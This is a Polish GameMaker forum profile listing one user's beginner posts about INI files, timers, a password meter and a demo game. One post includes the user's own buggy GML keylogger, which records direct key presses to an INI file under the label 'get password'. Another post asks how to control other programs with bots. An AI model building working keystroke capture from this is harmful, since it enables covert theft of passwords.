-
Postów
866 -
Dołączył
-
Ostatnia wizyta
Typ zawartości
Profile
Forum
Wydarzenia
Odpowiedzi opublikowane przez XxMichałxX
-
-
Jak zrobić program który ingeruje w działanie innych programów.. na przykład w gadu-gadu dodaje jakiś numer do listy albo wysyła w gg do kogoś wiadomość, albo w jakiejś grze idzie w strone jakiegos obiektu (np w cs-sie) itp. Da sie to zrobic?
-
ja mogę wam pisać skrypty, ale w teamie juz jestem więc będe wam TYLKO pisac skrypty jesli chcecie
-
chociażby taki ze zamiast 1000 razy wpisywac kod życie mozna se 'shaczyc' ;]
btw. kiedy zrobisz full v. tej gry?
-
Tytuł: KillerDoKwadratu (do kwadratu, dlatego ze jest kwadratem ^^)
Gatunek: platformówka
Opis: Zrobiłem takie demo v0.0000...01 KilleraDoKwadratu. Nazwa oczywiscie sie zmieni. Jest to takie zabugowane coś, ale zrobiłem to poto byście ściągneli i powiedzieli mi czy warto tą grę rozwinąć i znaleźć do niej grafika. Oczywiscie skoro ja ją robiłem to ma marną grafike ( kwadraty i kółka o jednym kolorze ^^) dlatego jesli komus spodoba sie projekt i zechce zostac grafikem do gry bede wdzieczny (gg: 8377827) ;p Ale do rzeczy: Taka sobie platformówka, trzeba zdobyc 6000pkt poprzez zabijanie wrogow i dojsc do zoltego czegos, a z reszta co tu sie bede meczyc. Podam game info ktore wpisalem do gry:
KillerDoKwadratu [MEEGA DEMO v0.00000001]
Chodzenie: A,D
Skok: W
Strzelanie: Lewy Przycisk Myszki
Przeładowywanie: R
Kupowanie:
Magazynki Do Pistoletu: F1
Magazynki Do Karabinu: F2
HP: F3
Zamiana punktow na kase: F4
Zmiana broni:
Pistolet: 1
Karabin: 2
Fabuła:
Aby wygrac gre nalezy pozabijac
troche wrogow aby zdobyc 6000pkt.
Wtedy trzeba isc w strone prawego gornego
rogu mapy aby tam wejsc w zolte cos ;]
Z gory juz proponuje aby odrazu po starcie gry
nacisnąc '2' i strzelac z karabina, ale
oszczedzac naboje bo sa drogie.
Prawde mówiąc w tej grze prawie nie da sie przegrać bo jest prosta ale mozna sie fajnie poczuć, niczym rambo który wbiega a w niego naparza 4 gostkow i wtedy on trach jeden lezy potem drugi i wgle ;]
Download: https://gmclan.org/up5208_3_kdk.html
Rozmiar pliku: 2,3MB
Autorzy:
Programowanie:MazoFabuła:MazoGrafika:Mazo ( :crying: ), GM(tło)Muzyka:CounterStrike 1.6, GMScreeny:
https://gmclan.org/up5208_3_screeny.html (3 screeny w pliku zip)
No to mówcie czy warto kontynuować tą gre i czy warto zrobic [nowa_nazwa] v1.0 ?
(nie zapominac ze szukam grafika ;p)
ps - jak bedziecie grac to wyobrazcie sobie te kwadraty jako jakies ladne roboty, deski ludzi itp bo jak sie okaze ze gre opyla sie robic i ze bedzie grafik to tak mniejwiecej by wygladalo ;]
-
-
ja pierdziele gosciu dokoncz ją! to jest tylko przykład a ja nie moglem przestac w to grac! mowie ci dokoncz to bedzie ######sta gra!
-
oo sorry ze nic nie wnosze do tematu ale zauważyłem nowy kod 'repeat'.. on polega na tym że repeat(30) cos tam costam to costam costam ma sie dziac przez sekunde?
-
W obj2:
GMLif distance_to_object(obj1)<200 then instance_create(x,y,obj2_pocisk)No i teraz bedzie lecial długi ciąg pocisków. Ja chciałbym zrobić żeby obj2 wypuszczał pocisk co pół sekundy a nie wciąż gdy ten dystans będzie mniejszy niż 200.
Oczywiście sam bym to zrobił ale byłoby to za długie chciałbym to mieć w jak najkrótszym kodzie.
Z góry thx.
-
zal
GMLfile=isave_open('plicz.txt','thu')if file==-1
{
show_message('Wykryto modyfikacje pliku chamie jeden!')
game_end()
}
else
{
show_message('Otworzono!')
isave_set('dupa','kupy','dwie')
isave_save(file,'plicz.txt','thu')
game_end()
}
I nie modyfikowalem a pisze ze wykryto
-
jak ustalić id pliku?
-
Dawidds a jak w twoim isave określić id pliku? bo robie np
GMLzal='hehe'isave_open('plik.txt','tajne')
isave_set(1,'dupa',zal)
___________________________________________ ERROR in action number 1 of Create Event for object control: Data structure with index does not exist.
edit: a dobra juz wiem, to nie id pliku tylko tak jakby jak w ini section nie?
edit2: a nie jednak nie wiem.. czym w koncu jest to id? bo bez sensu jak chce zapisac plik to musze podac id, nazwe pliku i haslo.. co wpisac w id?
-
https://forum.gmclan.org/index.php?showtopic=15219
Jeszcze zabezpieczyć przed edycją się możesz... tongue2.gif
Chętnie bym to pobrał, ale link nie działa ;/
edit: do pobierania jbc
-
GMLtlo=show_message_ext('Wybierz tlo','Dzien','Noc','Losowo')
if tlo='Dzien' then background_index=dzien
if tlo='Noc' then background_index=noc
if tlo='Losowo' then background_index=choose(dzien,noc,dzien)
Nie wiem jak uzyc tego show_message_ext ale chcialbym go uzyc tak jak powyzej jest pokazane + mysle ze background_index=nazwa_bgrounda to chyba zle zastosowanie tej funkcji
tak więc:
jak uzyc tego s._m._ext i jak zmienic tło rooma?
-
o właśnie a to by sie dało samemu jakieś skrypty stworzyc ktore w txt robia takie ala ini?
-
oj mniejsza o to, a ten plik nie bedzie odgrywał takiej roli jak myślicie.
to da sie zrobic C:\itd.. czy nie?
-
no ale ja chce 'C:\itd..'
edit:
Niepiszesz tylko fragment ścieżki zaczynający się od folderu z grą np. ini_open("data/ini.ini")
" / " czy " \ " ?
-
czyli ini_open('C:\itd..') ? bo tak robiłem to mi pisało ze musi byc w tym samym folderze co gra
-
GM mi pisze że plik ini musi byc umieszczony w tym samym katalogu co gra.. da się to jakoś obejść?
+Pytanie:
Czy ini_write/read_string obsługuje tylko stringi czy też liczby? Jeśli nie to czy do liczb jest ini_write/read_real?
-
kur... przegrywam wciąż :huh:
ale gra wypas
5/5
Edit: można ją shaczyć wpisując sobie w zapisaną gre w xxx.ini np 99999999 żyć :P
-
Zrobiłem sobie miernik haseł, tylko że napis nie pokazuje się.
Oto kod:
Create:
GMLshow_message('Miernik trudnosci hasel By Mazo')cykacz=0
pos=0
litera=''
com=''
haslo=get_string('Podaj haslo:','')
litery=string_length(string_letters(haslo))
liczby=string_length(string_digits(haslo))
znaki=string_length(string_lettersdigits(haslo))
pktuz=litery*3+znaki*4+liczby*2
pkt=0
if pktuz>100 then pktuz=100
if pktuz<=10 then com='Tego w ogole nie mozna haslem nazwac!'
if pktuz>10 and pktuz<=20 then com='To haslo jest beznadziejne!'
if pktuz>20 and pktuz<=30 then com='Slabe'
if pktuz>30 and pktuz<=40 then com='Ehh.. cienkie, ale przejdzie.'
if pktuz>40 and pktuz<=50 then com='Da rade.'
if pktuz>50 and pktuz<=60 then com='Moze byc'
if pktuz>60 and pktuz<=70 then com='Calkiem calkiem!'
if pktuz>70 and pktuz<=80 then com='Twarde haslo!!'
if pktuz>80 and pktuz<=90 then com='Bez hackowania nikt nie odgadnie! Extra!'
if pktuz>90 then com='Super mocne haslo! Nie ma szans na odgadniecie!'
jedz=1
drawcom=''
dlug=string_length(com)
Step:
GMLif jedz=1{
pkt+=0.5
if pkt=pktuz
{
jedz=0
cykacz=1
}
}
if cykacz=1
{
cykacz=0
alarm[0]=0
}
Alarm 0:
GMLif pos<dlug{
pos+=1
litera=string_char_at(com,pos)
drawcom+=string(litera)
if litera=' '
{
}
else
{
sound_play(pyki)
}
alarm[0]=10
}
Draw:
GMLdraw_healthbar(0,0,200,40,pkt,c_white,c_red,c_lime,0,1,1)draw_set_color(c_white)
draw_text(0,50,drawcom)
Program polega na tym ze sie wpisuje haslo on oblicza ilosc liter, znakow i liczb i je sobie mnozy i dodaje i wychodzi zmienna pktuz (punkty uzyskane). zmienna pkt ma sie powiekszac az dojdzie do pktuz i wtedy ladowanie na pasku zatrzyma się, a po tym co 10 'czasu' ma sie pojawiac kolejna literka ze zmiennej com. Czemu się nie pojawia? W tym programie juz mam taki syf ze nie moge sie połapac co zle zrobilem, albo o czym zapomnialem więc pisze tu.
Z gory thx
Edit: Jakbyco to tło rooma jest czarne dlatego draw_set_color(c_white)
-
ale ja nie rozumiem tego 'for' i tych tablic i chce zrobic swojego keyloggera
edit: aha juz qmam bo te znaki sie wczytały z tego jak wpisywałem nazwe keylogowania?
-
Create:
GMLnazwa=get_string('Podaj nazwe keylogowania:','zdobyc_haslo')ini_open('keylogger.ini')
text=''
if ini_section_exists(nazwa) then text=ini_read_string(nazwa,'TEXT','text')
Step:
GMLif (keyboard_check_direct_pressed(ord('A'))==true){
text+='A'
direct_pressed_end(ord('A'))
}
if (keyboard_check_direct_pressed(ord('B'))==true)
{
text+='B'
direct_pressed_end(ord('B'))
}
if (keyboard_check_direct_pressed(ord('C'))==true)
{
text+='C'
direct_pressed_end(ord('C'))
}
if (keyboard_check_direct_pressed(ord('D'))==true)
{
text+='D'
direct_pressed_end(ord('D'))
}
if (keyboard_check_direct_pressed(ord('E'))==true)
{
text+='E'
direct_pressed_end(ord('E'))
}
if (keyboard_check_direct_pressed(ord('F'))==true)
{
text+='F'
direct_pressed_end(ord('F'))
}
if (keyboard_check_direct_pressed(ord('G'))==true)
{
text+='G'
direct_pressed_end(ord('G'))
}
if (keyboard_check_direct_pressed(ord('H'))==true)
{
text+='H'
direct_pressed_end(ord('H'))
}
if (keyboard_check_direct_pressed(ord('I'))==true)
{
text+='I'
direct_pressed_end(ord('I'))
}
if (keyboard_check_direct_pressed(ord('J'))==true)
{
text+='J'
direct_pressed_end(ord('J'))
}
if (keyboard_check_direct_pressed(ord('K'))==true)
{
text+='K'
direct_pressed_end(ord('K'))
}
if (keyboard_check_direct_pressed(ord('L'))==true)
{
text+='L'
direct_pressed_end(ord('L'))
}
if (keyboard_check_direct_pressed(ord('M'))==true)
{
text+='M'
direct_pressed_end(ord('M'))
}
if (keyboard_check_direct_pressed(ord('N'))==true)
{
text+='N'
direct_pressed_end(ord('N'))
}
if (keyboard_check_direct_pressed(ord('O'))==true)
{
text+='O'
direct_pressed_end(ord('O'))
}
if (keyboard_check_direct_pressed(ord('P'))==true)
{
text+='P'
direct_pressed_end(ord('P'))
}
if (keyboard_check_direct_pressed(ord('R'))==true)
{
text+='R'
direct_pressed_end(ord('R'))
}
if (keyboard_check_direct_pressed(ord('S'))==true)
{
text+='S'
direct_pressed_end(ord('S'))
}
if (keyboard_check_direct_pressed(ord('T'))==true)
{
text+='T'
direct_pressed_end(ord('T'))
}
if (keyboard_check_direct_pressed(ord('U'))==true)
{
text+='U'
direct_pressed_end(ord('U'))
}
if (keyboard_check_direct_pressed(ord('W'))==true)
{
text+='W'
direct_pressed_end(ord('W'))
}
if (keyboard_check_direct_pressed(ord('Y'))==true)
{
text+='Y'
direct_pressed_end(ord('Y'))
}
if (keyboard_check_direct_pressed(ord('Z'))==true)
{
text+='Z'
direct_pressed_end(ord('Z'))
}
if (keyboard_check_direct_pressed(ord('X'))==true)
{
text+='X'
direct_pressed_end(ord('X'))
}
if (keyboard_check_direct_pressed(ord('V'))==true)
{
text+='V'
direct_pressed_end(ord('V'))
}
if (keyboard_check_direct_pressed(ord('1'))==true)
{
text+='1'
direct_pressed_end(ord('1'))
}
if (keyboard_check_direct_pressed(ord('2'))==true)
{
text+='2'
direct_pressed_end(ord('2'))
}
if (keyboard_check_direct_pressed(ord('3'))==true)
{
text+='3'
direct_pressed_end(ord('3'))
}
if (keyboard_check_direct_pressed(ord('4'))==true)
{
text+='4'
direct_pressed_end(ord('4'))
}
if (keyboard_check_direct_pressed(ord('5'))==true)
{
text+='5'
direct_pressed_end(ord('5'))
}
if (keyboard_check_direct_pressed(ord('6'))==true)
{
text+='6'
direct_pressed_end(ord('6'))
}
if (keyboard_check_direct_pressed(ord('7'))==true)
{
text+='7'
direct_pressed_end(ord('7'))
}
if (keyboard_check_direct_pressed(ord('8'))==true)
{
text+='8'
direct_pressed_end(ord('8'))
}
if (keyboard_check_direct_pressed(ord('9'))==true)
{
text+='9'
direct_pressed_end(ord('9'))
}
if (keyboard_check_direct_pressed(vk_space)==true)
{
text+=' '
direct_pressed_end(vk_space)
}
if (keyboard_check_direct_pressed(vk_backspace)==true)
{
string_delete(text,string_length(text)-1,1)
direct_pressed_end(vk_backspace)
}
Game End:
GMLini_write_string(nazwa,'TEXT',text)Draw:
GMLdraw_text(0,0,text)Włączam, napisałem np.: "haslojakiestam" i odrazu po włączeniu text przyjmuje wartosc 'AEHIJKLMOST' czyli z zmiennej nazwa poprzekładało litery losowo i tak za kazdym razem.. z jakiej paki ?! :boxed: :blink: <_<
Źle nazwany temat. Ostrzeżenie.
gnysek
-
zrobiłem takie coś:
GMLif keyboard_check_pressed(vk_backspace) then string_delete(text,string_length(text),1)czemu nie dziala?
-
hę? wcale tego dla sistry nie potrzebuje tylko chce zrobic program ktory w zaleznosci od godziny i miesiaca pokazje na pulpicie np gwiazdy i ciemno, albo jasne niebo jak dzień..
Program ingerujący w działanie innych programów.
w Pytania początkujących
Opublikowano
bo konkretnie to bym chcial napisac bota do silnika eclipse evolution + przydalaby mi sie ta wiedza jak cos robic programem w innych programach, tylko nie bardzo wiem jak sie do tego zabrac. Umialbym napisac takiego bota - poprostu wciskal by control XD ale problem w tym ze npc jak w kazdej grze chodzą w rozne strony + trzeba byc przodem obroconym do npc zeby atakowac a to juz nie mam pojecia jak zrobic zeby przodem player sam podszedl do npc i naparzał